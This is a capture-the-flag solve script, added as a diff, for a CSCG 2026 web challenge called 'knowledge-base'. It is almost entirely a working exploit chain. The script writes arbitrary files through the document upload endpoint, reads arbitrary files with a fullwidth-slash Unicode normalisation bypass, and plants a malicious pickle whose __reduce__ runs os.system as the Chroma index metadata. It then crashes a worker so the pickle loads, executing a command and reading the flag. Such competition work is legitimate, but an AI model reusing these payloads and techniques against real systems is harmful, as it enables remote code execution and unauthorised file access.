cscg ist super

2026/cscg/web/knowledge-base/solve.py

@@ -0,0 +1,88 @@
+import requests
+import urllib.parse
+import os
+import pickle
+import re
+import time
+
+#BASE_URL = "http://localhost:8000"
+BASE_URL = "https://24ymje4oe2ebyoe46fjxoejq2b-8000-knowledge-base.challenge.cscg.live/"
+
+def write_file(target_path: str, content: str, verbose: bool = False) -> str:
+    url = f"{BASE_URL}/api/docs"
+    
+    files = {
+        'file': (target_path, content.encode('utf-8'), 'text/plain')
+    }
+    if verbose: 
+        print(f"[*] Attempting to write to {target_path}...")
+    try:
+        response = requests.post(url, files=files)
+        if response.status_code == 200:
+            doc_id = response.json().get('doc_id')
+            if verbose:
+                print(f"[+] Success! Wrote to {target_path} (Doc ID: {doc_id})")
+            return doc_id
+        else:
+            if verbose:
+                print(f"[-] Failed to write. Status: {response.status_code}")
+                print(f"[-] Response: {response.text}")
+            return None
+    except requests.exceptions.RequestException as e:
+        if verbose:
+            print(f"[-] Connection error: {e}")
+        return None
+
+
+def read_file(target_path: str, verbose: bool = False) -> str:
+    nfkc_path = target_path.replace('/', '\uFF0F')
+    
+    encoded_path = urllib.parse.quote(nfkc_path)
+    url = f"{BASE_URL}/api/docs/{encoded_path}"
+    if verbose: 
+        print(f"[*] Attempting to read {target_path} (via NFKC bypass)...")
+    try:
+        response = requests.get(url)
+        if response.status_code == 200:
+            if verbose:
+                print(f"[+] Success! Read {len(response.text)} bytes.")
+            return response.text
+        else:
+            if verbose:
+                print(f"[-] Failed to read. Status: {response.status_code}")
+            return None
+    except requests.exceptions.RequestException as e:
+        if verbose:
+            print(f"[-] Connection error: {e}")
+        return None
+
+def kill_worker():
+    with open("./emojis.txt") as f:
+        garbage_payload = f.read()
+    print("Killing worker")
+    write_file("/docs/oom.txt", garbage_payload) 
+
+
+def get_payload():
+    class Exploit:
+        def __reduce__(self):
+            return (os.system, ("/readflag > /docs/flag.txt",))
+    payload = Exploit()
+    return pickle.dumps(payload, protocol=0)
+
+
+if __name__ == "__main__":
+    content = read_file("/chroma-data/chroma.sqlite3", verbose=True)
+
+    pattern = r"([0-9a-fA-F]{8}-(?:[0-9a-fA-F]{4}-){3}[0-9a-fA-F]{12})urn:chroma:segment/vector"
+
+    uuid = re.findall(pattern, content)[0]
+
+    write_file("/docs/make_folder.txt", "filler to make the folder", verbose=True)
+    write_file(f"/chroma-data/{uuid}/index_metadata.pickle", get_payload().decode(), verbose=True)
+
+    kill_worker()
+
+    time.sleep(5)
+
+    print(read_file("/docs/flag.txt"))